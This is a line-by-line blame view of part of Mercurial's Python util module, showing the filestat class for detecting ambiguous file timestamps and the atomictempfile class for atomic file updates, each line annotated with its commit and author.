89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1603 if emptyok:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1604 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1605 try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1606 try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1607 ifp = posixfile(name, "rb")
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1608 except IOError as inst:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1609 if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1610 return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1611 if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1612 inst.filename = name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1613 raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1614 ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1615 for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1616 ofp.write(chunk)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1617 ifp.close()
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1618 ofp.close()
16705
c2d9ef43ff6c check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents: 16703
diff changeset
1619 except: # re-raises
34436
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
1620 try:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
1621 os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
1622 except OSError:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34363
diff changeset
1623 pass
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1624 raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1625 return temp
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1626
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1627 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1628 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1629
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1630 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1631 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1632 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1633 """
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1634 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1635 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1636
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1637 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1638 def frompath(cls, path):
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1639 try:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1640 stat = os.stat(path)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1641 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1642 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1643 raise
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1644 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1645 return cls(stat)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1646
32835
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
1647 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
1648 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
1649 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
1650 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32792
diff changeset
1651
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1652 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1653
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1654 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1655 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1656 # if ambiguity between stat of new and old file is
30342
318a24b52eeb spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents: 30339
diff changeset
1657 # avoided, comparison of size, ctime and mtime is enough
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1658 # to exactly detect change of a file regardless of platform
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1659 return (self.stat.st_size == old.stat.st_size and
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1660 self.stat.st_ctime == old.stat.st_ctime and
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1661 self.stat.st_mtime == old.stat.st_mtime)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1662 except AttributeError:
32769
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
1663 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
1664 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
1665 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32766
diff changeset
1666 except AttributeError:
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1667 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1668
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1669 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1670 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1671
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1672 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1673
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1674 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1675 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1676 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1677 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1678 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1679 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1680
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1681 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1682 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1683 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1684
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1685 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1686 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1687
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1688 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1689 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1690 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1691
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1692 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1693 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1694 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1695
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1696 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1697 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1698 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1699 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1700 return (self.stat.st_ctime == old.stat.st_ctime)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1701 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1702 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
1703
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1704 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1705 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1706
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1707 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1708
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1709 This skips avoiding ambiguity, if a process doesn't have
32766
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1710 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1711 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1712
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1713 Otherwise, this returns True, as "ambiguity is avoided".
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1714 """
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1715 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1716 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1717 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1718 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1719 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1720 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1721 # if a process doesn't have appropriate privileges
32766
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1722 return False
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1723 raise
32766
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32674
diff changeset
1724 return True
30253
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
1725
29298
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
1726 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
1727 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
1728
8778
c5f36402daad use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8631
diff changeset
1729 class atomictempfile(object):
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
1730 '''writable file object that atomically updates a file
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1731
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
1732 All writes will go to a temporary copy of the original file. Call
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1733 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1734 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1735 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1736 writes are discarded.
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1737
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1738 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1739 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1740 or repo.wlock).
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
1741 '''
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1742 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1743 self.__name = name # permanent name
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1744 self._tempname = mktempcopy(name, emptyok=('w' in mode),
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1745 createmode=createmode)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1746 self._fp = posixfile(self._tempname, mode)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1747 self._checkambig = checkambig
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
1748
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1749 # delegated methods
29393
50269a4dce61 atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents: 29367
diff changeset
1750 self.read = self._fp.read
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1751 self.write = self._fp.write
17237
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
1752 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
1753 self.tell = self._fp.tell
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1754 self.fileno = self._fp.fileno
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1755
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1756 def close(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
1757 if not self._fp.closed:
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
1758 self._fp.close()
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1759 filename = localpath(self.__name)
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1760 oldstat = self._checkambig and filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1761 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1762 rename(self._tempname, filename)
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1763 newstat = filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1764 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1765 # stat of changed file is ambiguous to original one
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1766 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1767 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1768 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
1769 rename(self._tempname, filename)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1770
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1771 def discard(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
1772 if not self._fp.closed:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1773 try:
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1774 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1775 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
1776 pass
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
1777 self._fp.close()
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1778
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
1779 def __del__(self):
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
1780 if safehasattr(self, '_fp'): # constructor actually did something
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
1781 self.discard()
13098
